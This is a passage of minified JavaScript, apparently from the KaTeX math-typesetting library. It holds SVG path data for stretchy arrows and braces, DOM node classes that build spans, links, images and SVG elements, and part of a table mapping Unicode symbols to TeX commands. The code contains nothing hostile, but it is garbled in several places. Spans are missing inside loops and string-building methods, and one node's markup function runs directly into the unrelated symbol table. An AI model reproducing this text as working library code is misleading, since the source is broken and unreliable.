20 8 7.3 0 12.2-.5\n 14.5-1.5 2.3-1 4.8-4.5 7.5-10.5 49.3-97.3 121.7-169.3 217-216 28-14 57.3-25 88\n-33 6.7-2 11-3.8 13-5.5 2-1.7 3-4.2 3-7.5s-1-5.8-3-7.5c-2-1.7-6.3-3.5-13-5.5-68\n-17.3-128.2-47.8-180.5-91.5-52.3-43.7-93.8-96.2-124.5-157.5-9.3-8-15.3-12.3-18\n-13h-6c-12 .7-18 4-18 10 0 2 1.7 7 5 15 23.3 46 52 87 86 123l10 10H0v40h399782\nc-328 0 0 0 0 0l10 8c26.7 20 65.7 43 117 69-2.7 2-6 3.7-10 5-36.7 16-72.3 37.3\n-107 64l-10 8H0v40zM0 157v40h399730v-40zm0 194v40h399730v-40z",leftarrow:"M400000 241H110l3-3c68.7-52.7 113.7-120\n 135-202 4-14.7 6-23 6-25 0-7.3-7-11-21-11-8 0-13.2.8-15.5 2.5-2.3 1.7-4.2 5.8\n-5.5 12.5-1.3 4.7-2.7 10.3-4 17-12 48.7-34.8 92-68.5 130S65.3 228.3 18 247\nc-10 4-16 7.7-18 11 0 8.7 6 14.3 18 17 47.3 18.7 87.8 47 121.5 85S196 441.3 208\n 490c.7 2 1.3 5 2 9s1.2 6.7 1.5 8c.3 1.3 1 3.3 2 6s2.2 4.5 3.5 5.5c1.3 1 3.3\n 1.8 6 2.5s6 1 10 1c14 0 21-3.7 21-11 0-2-2-10.3-6-25-20-79.3-65-146.7-135-202\n l-3-3h399890zM100 241v40h399900v-40z",leftbrace:"M6 548l-6-6v-35l6-11c56-104 135.3-181.3 238-232 57.3-28.7 117\n-45 179-50h399577v120H403c-43.3 7-81 15-113 26-100.7 33-179.7 91-237 174-2.7\n 5-6 9-10 13-.7 1-7.3 1-20 1H6z",leftbraceunder:"M0 6l6-6h17c12.688 0 19.313.3 20 1 4 4 7.313 8.3 10 13\n 35.313 51.3 80.813 93.8 136.5 127.5 55.688 33.7 117.188 55.8 184.5 66.5.688\n 0 2 .3 4 1 18.688 2.7 76 4.3 172 5h399450v120H429l-6-1c-124.688-8-235-61.7\n-331-161C60.687 138.7 32.312 99.3 7 54L0 41V6z",leftgroup:"M400000 80\nH435C64 80 168.3 229.4 21 260c-5.9 1.2-18 0-18 0-2 0-3-1-3-3v-38C76 61 257 0\n 435 0h399565z",leftgroupunder:"M400000 262\nH435C64 262 168.3 112.6 21 82c-5.9-1.2-18 0-18 0-2 0-3 1-3 3v38c76 158 257 219\n 435 219h399565z",leftharpoon:"M0 267c.7 5.3 3 10 7 14h399993v-40H93c3.3\n-3.3 10.2-9.5 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52 88-110.3 112-175 4-11.3 5\n-18.3 3-21-1.3-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8 16c-42 98.7-107.3 174.7\n-196 228-6.7 4.7-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26v40h399900v-40z",leftharpoonplus:"M0 267c.7 5.3 3 10 7 14h399993v-40H93c3.3-3.3 10.2-9.5\n 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52 88-110.3 112-175 4-11.3 5-18.3 3-21-1.3\n-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8 16c-42 98.7-107.3 174.7-196 228-6.7 4.7\n-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26v40h399900v-40zM0 435v40h400000v-40z\nm0 0v40h400000v-40z",leftharpoondown:"M7 241c-4 4-6.333 8.667-7 14 0 5.333.667 9 2 11s5.333\n 5.333 12 10c90.667 54 156 130 196 228 3.333 10.667 6.333 16.333 9 17 2 .667 5\n 1 9 1h5c10.667 0 16.667-2 18-6 2-2.667 1-9.667-3-21-32-87.333-82.667-157.667\n-152-211l-3-3h399907v-40zM93 281 H400000 v-40L7 241z",leftharpoondownplus:"M7 435c-4 4-6.3 8.7-7 14 0 5.3.7 9 2 11s5.3 5.3 12\n 10c90.7 54 156 130 196 228 3.3 10.7 6.3 16.3 9 17 2 .7 5 1 9 1h5c10.7 0 16.7\n-2 18-6 2-2.7 1-9.7-3-21-32-87.3-82.7-157.7-152-211l-3-3h399907v-40H7zm93 0\nv40h399900v-40zM0 241v40h399900v-40zm0 0v40h399900v-40z",lefthook:"M400000 281 H103s-33-11.2-61-33.5S0 197.3 0 164s14.2-61.2 42.5\n-83.5C70.8 58.2 104 47 142 47 c16.7 0 25 6.7 25 20 0 12-8.7 18.7-26 20-40 3.3\n-68.7 15.7-86 37-10 12-15 25.3-15 40 0 22.7 9.8 40.7 29.5 54 19.7 13.3 43.5 21\n 71.5 23h399859zM103 281v-40h399897v40z",leftlinesegment:"M40 281 V428 H0 V94 H40 V241 H400000 v40z\nM40 281 V428 H0 V94 H40 V241 H400000 v40z",leftmapsto:"M40 281 V448H0V74H40V241H400000v40z\nM40 281 V448H0V74H40V241H400000v40z",leftToFrom:"M0 147h400000v40H0zm0 214c68 40 115.7 95.7 143 167h22c15.3 0 23\n-.3 23-1 0-1.3-5.3-13.7-16-37-18-35.3-41.3-69-70-101l-7-8h399905v-40H95l7-8\nc28.7-32 52-65.7 70-101 10.7-23.3 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 265.3\n 68 321 0 361zm0-174v-40h399900v40zm100 154v40h399900v-40z",longequal:"M0 50 h400000 v40H0z m0 194h40000v40H0z\nM0 50 h400000 v40H0z m0 194h40000v40H0z",midbrace:"M200428 334\nc-100.7-8.3-195.3-44-280-108-55.3-42-101.7-93-139-153l-9-14c-2.7 4-5.7 8.7-9 14\n-53.3 86.7-123.7 153-211 199-66.7 36-137.3 56.3-212 62H0V214h199568c178.3-11.7\n 311.7-78.3 403-201 6-8 9.7-12 11-12 .7-.7 6.7-1 18-1s17.3.3 18 1c1.3 0 5 4 11\n 12 44.7 59.3 101.3 106.3 170 141s145.3 54.3 229 60h199572v120z",midbraceunder:"M199572 214\nc100.7 8.3 195.3 44 280 108 55.3 42 101.7 93 139 153l9 14c2.7-4 5.7-8.7 9-14\n 53.3-86.7 123.7-153 211-199 66.7-36 137.3-56.3 212-62h199568v120H200432c-178.3\n 11.7-311.7 78.3-403 201-6 8-9.7 12-11 12-.7.7-6.7 1-18 1s-17.3-.3-18-1c-1.3 0\n-5-4-11-12-44.7-59.3-101.3-106.3-170-141s-145.3-54.3-229-60H0V214z",oiintSize1:"M512.6 71.6c272.6 0 320.3 106.8 320.3 178.2 0 70.8-47.7 177.6\n-320.3 177.6S193.1 320.6 193.1 249.8c0-71.4 46.9-178.2 319.5-178.2z\nm368.1 178.2c0-86.4-60.9-215.4-368.1-215.4-306.4 0-367.3 129-367.3 215.4 0 85.8\n60.9 214.8 367.3 214.8 307.2 0 368.1-129 368.1-214.8z",oiintSize2:"M757.8 100.1c384.7 0 451.1 137.6 451.1 230 0 91.3-66.4 228.8\n-451.1 228.8-386.3 0-452.7-137.5-452.7-228.8 0-92.4 66.4-230 452.7-230z\nm502.4 230c0-111.2-82.4-277.2-502.4-277.2s-504 166-504 277.2\nc0 110 84 276 504 276s502.4-166 502.4-276z",oiiintSize1:"M681.4 71.6c408.9 0 480.5 106.8 480.5 178.2 0 70.8-71.6 177.6\n-480.5 177.6S202.1 320.6 202.1 249.8c0-71.4 70.5-178.2 479.3-178.2z\nm525.8 178.2c0-86.4-86.8-215.4-525.7-215.4-437.9 0-524.7 129-524.7 215.4 0\n85.8 86.8 214.8 524.7 214.8 438.9 0 525.7-129 525.7-214.8z",oiiintSize2:"M1021.2 53c603.6 0 707.8 165.8 707.8 277.2 0 110-104.2 275.8\n-707.8 275.8-606 0-710.2-165.8-710.2-275.8C311 218.8 415.2 53 1021.2 53z\nm770.4 277.1c0-131.2-126.4-327.6-770.5-327.6S248.4 198.9 248.4 330.1\nc0 130 128.8 326.4 772.7 326.4s770.5-196.4 770.5-326.4z",rightarrow:"M0 241v40h399891c-47.3 35.3-84 78-110 128\n-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20\n 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7\n 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85\n-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5\n-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67\n 151.7 139 205zm0 0v40h399900v-40z",rightbrace:"M400000 542l\n-6 6h-17c-12.7 0-19.3-.3-20-1-4-4-7.3-8.3-10-13-35.3-51.3-80.8-93.8-136.5-127.5\ns-117.2-55.8-184.5-66.5c-.7 0-2-.3-4-1-18.7-2.7-76-4.3-172-5H0V214h399571l6 1\nc124.7 8 235 61.7 331 161 31.3 33.3 59.7 72.7 85 118l7 13v35z",rightbraceunder:"M399994 0l6 6v35l-6 11c-56 104-135.3 181.3-238 232-57.3\n 28.7-117 45-179 50H-300V214h399897c43.3-7 81-15 113-26 100.7-33 179.7-91 237\n-174 2.7-5 6-9 10-13 .7-1 7.3-1 20-1h17z",rightgroup:"M0 80h399565c371 0 266.7 149.4 414 180 5.9 1.2 18 0 18 0 2 0\n 3-1 3-3v-38c-76-158-257-219-435-219H0z",rightgroupunder:"M0 262h399565c371 0 266.7-149.4 414-180 5.9-1.2 18 0 18\n 0 2 0 3 1 3 3v38c-76 158-257 219-435 219H0z",rightharpoon:"M0 241v40h399993c4.7-4.7 7-9.3 7-14 0-9.3\n-3.7-15.3-11-18-92.7-56.7-159-133.7-199-231-3.3-9.3-6-14.7-8-16-2-1.3-7-2-15-2\n-10.7 0-16.7 2-18 6-2 2.7-1 9.7 3 21 15.3 42 36.7 81.8 64 119.5 27.3 37.7 58\n 69.2 92 94.5zm0 0v40h399900v-40z",rightharpoonplus:"M0 241v40h399993c4.7-4.7 7-9.3 7-14 0-9.3-3.7-15.3-11\n-18-92.7-56.7-159-133.7-199-231-3.3-9.3-6-14.7-8-16-2-1.3-7-2-15-2-10.7 0-16.7\n 2-18 6-2 2.7-1 9.7 3 21 15.3 42 36.7 81.8 64 119.5 27.3 37.7 58 69.2 92 94.5z\nm0 0v40h399900v-40z m100 194v40h399900v-40zm0 0v40h399900v-40z",rightharpoondown:"M399747 511c0 7.3 6.7 11 20 11 8 0 13-.8 15-2.5s4.7-6.8\n 8-15.5c40-94 99.3-166.3 178-217 13.3-8 20.3-12.3 21-13 5.3-3.3 8.5-5.8 9.5\n-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3-10.3-7-15H0v40h399908c-34 25.3-64.7 57-92 95\n-27.3 38-48.7 77.7-64 119-3.3 8.7-5 14-5 16zM0 241v40h399900v-40z",rightharpoondownplus:"M399747 705c0 7.3 6.7 11 20 11 8 0 13-.8\n 15-2.5s4.7-6.8 8-15.5c40-94 99.3-166.3 178-217 13.3-8 20.3-12.3 21-13 5.3-3.3\n 8.5-5.8 9.5-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3-10.3-7-15H0v40h399908c-34 25.3\n-64.7 57-92 95-27.3 38-48.7 77.7-64 119-3.3 8.7-5 14-5 16zM0 435v40h399900v-40z\nm0-194v40h400000v-40zm0 0v40h400000v-40z",righthook:"M399859 241c-764 0 0 0 0 0 40-3.3 68.7-15.7 86-37 10-12 15-25.3\n 15-40 0-22.7-9.8-40.7-29.5-54-19.7-13.3-43.5-21-71.5-23-17.3-1.3-26-8-26-20 0\n-13.3 8.7-20 26-20 38 0 71 11.2 99 33.5 0 0 7 5.6 21 16.7 14 11.2 21 33.5 21\n 66.8s-14 61.2-42 83.5c-28 22.3-61 33.5-99 33.5L0 241z M0 281v-40h399859v40z",rightlinesegment:"M399960 241 V94 h40 V428 h-40 V281 H0 v-40z\nM399960 241 V94 h40 V428 h-40 V281 H0 v-40z",rightToFrom:"M400000 167c-70.7-42-118-97.7-142-167h-23c-15.3 0-23 .3-23\n 1 0 1.3 5.3 13.7 16 37 18 35.3 41.3 69 70 101l7 8H0v40h399905l-7 8c-28.7 32\n-52 65.7-70 101-10.7 23.3-16 35.7-16 37 0 .7 7.7 1 23 1h23c24-69.3 71.3-125 142\n-167z M100 147v40h399900v-40zM0 341v40h399900v-40z",twoheadleftarrow:"M0 167c68 40\n 115.7 95.7 143 167h22c15.3 0 23-.3 23-1 0-1.3-5.3-13.7-16-37-18-35.3-41.3-69\n-70-101l-7-8h125l9 7c50.7 39.3 85 86 103 140h46c0-4.7-6.3-18.7-19-42-18-35.3\n-40-67.3-66-96l-9-9h399716v-40H284l9-9c26-28.7 48-60.7 66-96 12.7-23.333 19\n-37.333 19-42h-46c-18 54-52.3 100.7-103 140l-9 7H95l7-8c28.7-32 52-65.7 70-101\n 10.7-23.333 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 71.3 68 127 0 167z",twoheadrightarrow:"M400000 167\nc-68-40-115.7-95.7-143-167h-22c-15.3 0-23 .3-23 1 0 1.3 5.3 13.7 16 37 18 35.3\n 41.3 69 70 101l7 8h-125l-9-7c-50.7-39.3-85-86-103-140h-46c0 4.7 6.3 18.7 19 42\n 18 35.3 40 67.3 66 96l9 9H0v40h399716l-9 9c-26 28.7-48 60.7-66 96-12.7 23.333\n-19 37.333-19 42h46c18-54 52.3-100.7 103-140l9-7h125l-7 8c-28.7 32-52 65.7-70\n 101-10.7 23.333-16 35.7-16 37 0 .7 7.7 1 23 1h22c27.3-71.3 75-127 143-167z",tilde1:"M200 55.538c-77 0-168 73.953-177 73.953-3 0-7\n-2.175-9-5.437L2 97c-1-2-2-4-2-6 0-4 2-7 5-9l20-12C116 12 171 0 207 0c86 0\n 114 68 191 68 78 0 168-68 177-68 4 0 7 2 9 5l12 19c1 2.175 2 4.35 2 6.525 0\n 4.35-2 7.613-5 9.788l-19 13.05c-92 63.077-116.937 75.308-183 76.128\n-68.267.847-113-73.952-191-73.952z",tilde2:"M344 55.266c-142 0-300.638 81.316-311.5 86.418\n-8.01 3.762-22.5 10.91-23.5 5.562L1 120c-1-2-1-3-1-4 0-5 3-9 8-10l18.4-9C160.9\n 31.9 283 0 358 0c148 0 188 122 331 122s314-97 326-97c4 0 8 2 10 7l7 21.114\nc1 2.14 1 3.21 1 4.28 0 5.347-3 9.626-7 10.696l-22.3 12.622C852.6 158.372 751\n 181.476 676 181.476c-149 0-189-126.21-332-126.21z",tilde3:"M786 59C457 59 32 175.242 13 175.242c-6 0-10-3.457\n-11-10.37L.15 138c-1-7 3-12 10-13l19.2-6.4C378.4 40.7 634.3 0 804.3 0c337 0\n 411.8 157 746.8 157 328 0 754-112 773-112 5 0 10 3 11 9l1 14.075c1 8.066-.697\n 16.595-6.697 17.492l-21.052 7.31c-367.9 98.146-609.15 122.696-778.15 122.696\n -338 0-409-156.573-744-156.573z",tilde4:"M786 58C457 58 32 177.487 13 177.487c-6 0-10-3.345\n-11-10.035L.15 143c-1-7 3-12 10-13l22-6.7C381.2 35 637.15 0 807.15 0c337 0 409\n 177 744 177 328 0 754-127 773-127 5 0 10 3 11 9l1 14.794c1 7.805-3 13.38-9\n 14.495l-20.7 5.574c-366.85 99.79-607.3 139.372-776.3 139.372-338 0-409\n -175.236-744-175.236z",vec:"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",widehat1:"M529 0h5l519 115c5 1 9 5 9 10 0 1-1 2-1 3l-4 22\nc-1 5-5 9-11 9h-2L532 67 19 159h-2c-5 0-9-4-11-9l-5-22c-1-6 2-12 8-13z",widehat2:"M1181 0h2l1171 176c6 0 10 5 10 11l-2 23c-1 6-5 10\n-11 10h-1L1182 67 15 220h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z",widehat3:"M1181 0h2l1171 236c6 0 10 5 10 11l-2 23c-1 6-5 10\n-11 10h-1L1182 67 15 280h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z",widehat4:"M1181 0h2l1171 296c6 0 10 5 10 11l-2 23c-1 6-5 10\n-11 10h-1L1182 67 15 340h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z",widecheck1:"M529,159h5l519,-115c5,-1,9,-5,9,-10c0,-1,-1,-2,-1,-3l-4,-22c-1,\n-5,-5,-9,-11,-9h-2l-512,92l-513,-92h-2c-5,0,-9,4,-11,9l-5,22c-1,6,2,12,8,13z",widecheck2:"M1181,220h2l1171,-176c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10,\n-11,-10h-1l-1168,153l-1167,-153h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z",widecheck3:"M1181,280h2l1171,-236c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10,\n-11,-10h-1l-1168,213l-1167,-213h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z",widecheck4:"M1181,340h2l1171,-296c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10,\n-11,-10h-1l-1168,273l-1167,-273h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z",baraboveleftarrow:"M400000 620h-399890l3 -3c68.7 -52.7 113.7 -120 135 -202\nc4 -14.7 6 -23 6 -25c0 -7.3 -7 -11 -21 -11c-8 0 -13.2 0.8 -15.5 2.5\nc-2.3 1.7 -4.2 5.8 -5.5 12.5c-1.3 4.7 -2.7 10.3 -4 17c-12 48.7 -34.8 92 -68.5 130\ns-74.2 66.3 -121.5 85c-10 4 -16 7.7 -18 11c0 8.7 6 14.3 18 17c47.3 18.7 87.8 47\n121.5 85s56.5 81.3 68.5 130c0.7 2 1.3 5 2 9s1.2 6.7 1.5 8c0.3 1.3 1 3.3 2 6\ns2.2 4.5 3.5 5.5c1.3 1 3.3 1.8 6 2.5s6 1 10 1c14 0 21 -3.7 21 -11\nc0 -2 -2 -10.3 -6 -25c-20 -79.3 -65 -146.7 -135 -202l-3 -3h399890z\nM100 620v40h399900v-40z M0 241v40h399900v-40zM0 241v40h399900v-40z",rightarrowabovebar:"M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32\n-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0\n13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39\n-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5\n-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5\n-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67\n151.7 139 205zm96 379h399894v40H0zm0 0h399904v40H0z",baraboveshortleftharpoon:"M507,435c-4,4,-6.3,8.7,-7,14c0,5.3,0.7,9,2,11\nc1.3,2,5.3,5.3,12,10c90.7,54,156,130,196,228c3.3,10.7,6.3,16.3,9,17\nc2,0.7,5,1,9,1c0,0,5,0,5,0c10.7,0,16.7,-2,18,-6c2,-2.7,1,-9.7,-3,-21\nc-32,-87.3,-82.7,-157.7,-152,-211c0,0,-3,-3,-3,-3l399351,0l0,-40\nc-398570,0,-399437,0,-399437,0z M593 435 v40 H399500 v-40z\nM0 281 v-40 H399908 v40z M0 281 v-40 H399908 v40z",rightharpoonaboveshortbar:"M0,241 l0,40c399126,0,399993,0,399993,0\nc4.7,-4.7,7,-9.3,7,-14c0,-9.3,-3.7,-15.3,-11,-18c-92.7,-56.7,-159,-133.7,-199,\n-231c-3.3,-9.3,-6,-14.7,-8,-16c-2,-1.3,-7,-2,-15,-2c-10.7,0,-16.7,2,-18,6\nc-2,2.7,-1,9.7,3,21c15.3,42,36.7,81.8,64,119.5c27.3,37.7,58,69.2,92,94.5z\nM0 241 v40 H399908 v-40z M0 475 v-40 H399500 v40z M0 475 v-40 H399500 v40z",shortbaraboveleftharpoon:"M7,435c-4,4,-6.3,8.7,-7,14c0,5.3,0.7,9,2,11\nc1.3,2,5.3,5.3,12,10c90.7,54,156,130,196,228c3.3,10.7,6.3,16.3,9,17c2,0.7,5,1,9,\n1c0,0,5,0,5,0c10.7,0,16.7,-2,18,-6c2,-2.7,1,-9.7,-3,-21c-32,-87.3,-82.7,-157.7,\n-152,-211c0,0,-3,-3,-3,-3l399907,0l0,-40c-399126,0,-399993,0,-399993,0z\nM93 435 v40 H400000 v-40z M500 241 v40 H400000 v-40z M500 241 v40 H400000 v-40z",shortrightharpoonabovebar:"M53,241l0,40c398570,0,399437,0,399437,0\nc4.7,-4.7,7,-9.3,7,-14c0,-9.3,-3.7,-15.3,-11,-18c-92.7,-56.7,-159,-133.7,-199,\n-231c-3.3,-9.3,-6,-14.7,-8,-16c-2,-1.3,-7,-2,-15,-2c-10.7,0,-16.7,2,-18,6\nc-2,2.7,-1,9.7,3,21c15.3,42,36.7,81.8,64,119.5c27.3,37.7,58,69.2,92,94.5z\nM500 241 v40 H399408 v-40z M500 435 v40 H400000 v-40z"},M=function(){function e(e){this.children=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,this.children=e,this.classes=[],this.height=0,this.depth=0,this.maxFontSize=0,this.style={}}var t=e.prototype;return t.hasClass=function(e){return l.contains(this.classes,e)},t.toNode=function(){for(var e=document.createDocumentFragment(),t=0;t"},N=function(){function e(e,t,r,n){this.children=void 0,this.attributes=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.width=void 0,this.maxFontSize=void 0,this.style=void 0,A.call(this,e,r,n),this.children=t||[]}var t=e.prototype;return t.setAttribute=function(e,t){this.attributes[e]=t},t.hasClass=function(e){return l.contains(this.classes,e)},t.toNode=function(){return T.call(this,"span")},t.toMarkup=function(){return B.call(this,"span")},e}(),q=function(){function e(e,t,r,n){this.children=void 0,this.attributes=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,A.call(this,t,n),this.children=r||[],this.setAttribute("href",e)}var t=e.prototype;return t.setAttribute=function(e,t){this.attributes[e]=t},t.hasClass=function(e){return l.contains(this.classes,e)},t.toNode=function(){return T.call(this,"a")},t.toMarkup=function(){return B.call(this,"a")},e}(),C=function(){function e(e,t,r){this.src=void 0,this.alt=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,this.alt=t,this.src=e,this.classes=["mord"],this.style=r}var t=e.prototype;return t.hasClass=function(e){return l.contains(this.classes,e)},t.toNode=function(){var e=document.createElement("img");for(var t in e.src=this.src,e.alt=this.alt,e.className="mord",this.style)this.style.hasOwnProperty(t)&&(e.style[t]=this.style[t]);return e},t.toMarkup=function(){var e=""+this.alt+"=a[0]&&e<=a[1])return r.name}return null}(this.text.charCodeAt(0));l&&this.classes.push(l+"_fallback"),/[\xee\xef\xed\xec]/.test(this.text)&&(this.text=I[this.text])}var t=e.prototype;return t.hasClass=function(e){return l.contains(this.classes,e)},t.toNode=function(){var e=document.createTextNode(this.text),t=null;for(var r in this.italic>0&&((t=document.createElement("span")).style.marginRight=this.italic+"em"),this.classes.length>0&&((t=t||document.createElement("span")).className=z(this.classes)),this.style)this.style.hasOwnProperty(r)&&((t=t||document.createElement("span")).style[r]=this.style[r]);return t?(t.appendChild(e),t):e},t.toMarkup=function(){var e=!1,t="0&&(r+="margin-right:"+this.italic+"em;"),this.style)this.style.hasOwnProperty(n)&&(r+=l.hyphenate(n)+":"+this.style[n]+";");r&&(e=!0,t+=' style="'+l.escape(r)+'"');var a=l.escape(this.text);return e?(t+=">",t+=a,t+=""):a},e}(),O=function(){function e(e,t){this.children=void 0,this.attributes=void 0,this.children=e||[],this.attributes=t||{}}var t=e.prototype;return t.toNode=function(){var e=document.createElementNS("http://www.w3.org/2000/svg","svg");for(var t in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,t)&&e.setAttribute(t,this.attributes[t]);for(var r=0;r":""},e}(),H=function(){function e(e){this.attributes=void 0,this.attributes=e||{}}var t=e.prototype;return t.toNode=function(){var e=document.createElementNS("http://www.w3.org/2000/svg","line");for(var t in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,t)&&e.setAttribute(t,this.attributes[t]);return e},t.toMarkup=function(){var e="","\\gt",!0),_(j,Z,oe,"\u2208","\\in",!0),_(j,Z,oe,"\ue020","\\@not"),_(j,Z,oe,"\u2282","\\subset",!0),_(j,Z,oe,"\u2283","\\supset",!0),_(j,Z,oe,"\u2286","\\subseteq",!0),_(j,Z,oe,"\u2287","\\supseteq",!0),_(j,K,oe,"\u2288","\\nsubseteq",!0),_(j,K,oe,"\u2289","\\nsupseteq",!0),_(j,Z,oe,"\u22a8","\\models"),_(j,Z,oe,"\u2190","\\leftarrow",!0),_(j,Z,oe,"\u2264","\\le"),_(j,Z,oe,"\u2264","\\leq",!0),_(j,Z,oe,"<","\\lt",!0),_(j,Z,oe,"\u2192","\\rightarrow",!0),_(j,Z,oe,"\u2192","\\to"),_(j,K,oe,"\u2271","\\ngeq",!0),_(j,K,oe,"\u2270","\\nleq",!0),_(j,Z,se,"\xa0","\\ "),_(j,Z,se,"\xa0","\\space"),_(j,Z,se,"\xa0","\\nobreakspace"),_($,Z,se,"\xa0","\\ "),_($,Z,se,"\xa0"," "),_($,Z,se,"\xa0","\\space"),_($,Z,se,"\xa0","\\nobreakspace"),_(j,Z,se,null,"\\nobreak"),_(j,Z,se,null,"\\allowbreak"),_(j,Z,ie,",",","),_(j,Z,ie,";",";"),_(j,K,Q,"\u22bc","\\barwedge",!0),_(j,K,Q,"\u22bb","\\veebar",!0),_(j,Z,Q,"\u2299","\\odot",!0),_(j,Z,Q,"\u2295","\\oplus",!0),_(j,Z,Q,"\u2297","\\otimes",!0),_(j,Z,le,"\u2202","\\partial",!0),_(j,Z,Q,"\u2298","\\oslash",!0),_(j,K,Q,"\u229a","\\circledcirc",!0),_(j,K,Q,"\u22a1","\\boxdot",!0),_(j,Z,Q,"\u25b3","\\bigtriangleup"),_(j,Z,Q,"\u25bd","\\bigtriangledown"),_(j,Z,Q,"\u2020","\\dagger"),_(j,Z,Q,"\u22c4","\\diamond"),_(j,Z,Q,"\u22c6","\\star"),_(j,Z,Q,"\u25c3","\\triangleleft"),_(j,Z,Q,"\u25b9","\\triangleright"),_(j,Z,ae,"{","\\{"),_($,Z,le,"{","\\{"),_($,Z,le,"{","\\textbraceleft"),_(j,Z,ee,"}","\\}"),_($,Z,le,"}","\\}"),_($,Z,le,"}","\\textbraceright"),_(j,Z,ae,"{","\\lbrace"),_(j,Z,ee,"}","\\rbrace"),_(j,Z,ae,"[","\\lbrack",!0),_($,Z,le,"[","\\lbrack",!0),_(j,Z,ee,"]","\\rbrack",!0),_($,Z,le,"]","\\rbrack",!0),_(j,Z,ae,"(","\\lparen",!0),_(j,Z,ee,")","\\rparen",!0),_($,Z,le,"<","\\textless",!0),_($,Z,le,">","\\textgreater",!0),_(j,Z,ae,"\u230a","\\lfloor",!0),_(j,Z,ee,"\u230b","\\rfloor",!0),_(j,Z,ae,"\u2308","\\lceil",!0),_(j,Z,ee,"\u2309","\\rceil",!0),_(j,Z,le,"\\","\\backslash"),_(j,Z,le,"\u2223","|"),_(j,Z,le,"\u2223","\\vert"),_($,Z,le,"|","\\textbar",!0),_(j,Z,le,"\u2225","\\|"),_(j,Z,le,"\u2225","\\Vert"),_($,Z,le,"\u2225","\\textbardbl"),_($,Z,le,"~","\\textasciitilde"),_($,Z,le,"\\","\\textbackslash"),_($,Z,le,"^","\\textasciicircum"),_(j,Z,oe,"\u2191","\\uparrow",!0),_(j,Z,oe,"\u21d1","\\Uparrow",!0),_(j,Z,oe,"\u2193","\\downarrow",!0),_(j,Z,oe,"\u21d3","\\Downarrow",!0),_(j,Z,oe,"\u2195","\\updownarrow",!0),_(j,Z,oe,"\u21d5","\\Updownarrow",!0),_(j,Z,ne,"\u2210","\\coprod"),_(j,Z,ne,"\u22c1","\\bigvee"),_(j,Z,ne,"\u22c0","\\bigwedge"),_(j,Z,ne,"\u2a04","\\biguplus"),_(j,Z,ne,"\u22c2","\\bigcap"),_(j,Z,ne,"\u22c3","\\bigcup"),_(j,Z,ne,"\u222b","\\int"),_(j,Z,ne,"\u222b","\\intop"),_(j,Z,ne,"\u222c","\\iint"),_(j,Z,ne,"\u222d","\\iiint"),_(j,Z,ne,"\u220f","\\prod"),_(j,Z,ne,"\u2211","\\sum"),_(j,Z,ne,"\u2a02","\\bigotimes"),_(j,Z,ne,"\u2a01","\\bigoplus"),_(j,Z,ne,"\u2a00","\\bigodot"),_(j,Z,ne,"\u222e","\\oint"),_(j,Z,ne,"\u222f","\\oiint"),_(j,Z,ne,"\u2230","\\oiiint"),_(j,Z,ne,"\u2a06","\\bigsqcup"),_(j,Z,ne,"\u222b","\\smallint"),_($,Z,te,"\u2026","\\textellipsis"),_(j,Z,te,"\u2026","\\mathellipsis"),_($,Z,te,"\u2026","\\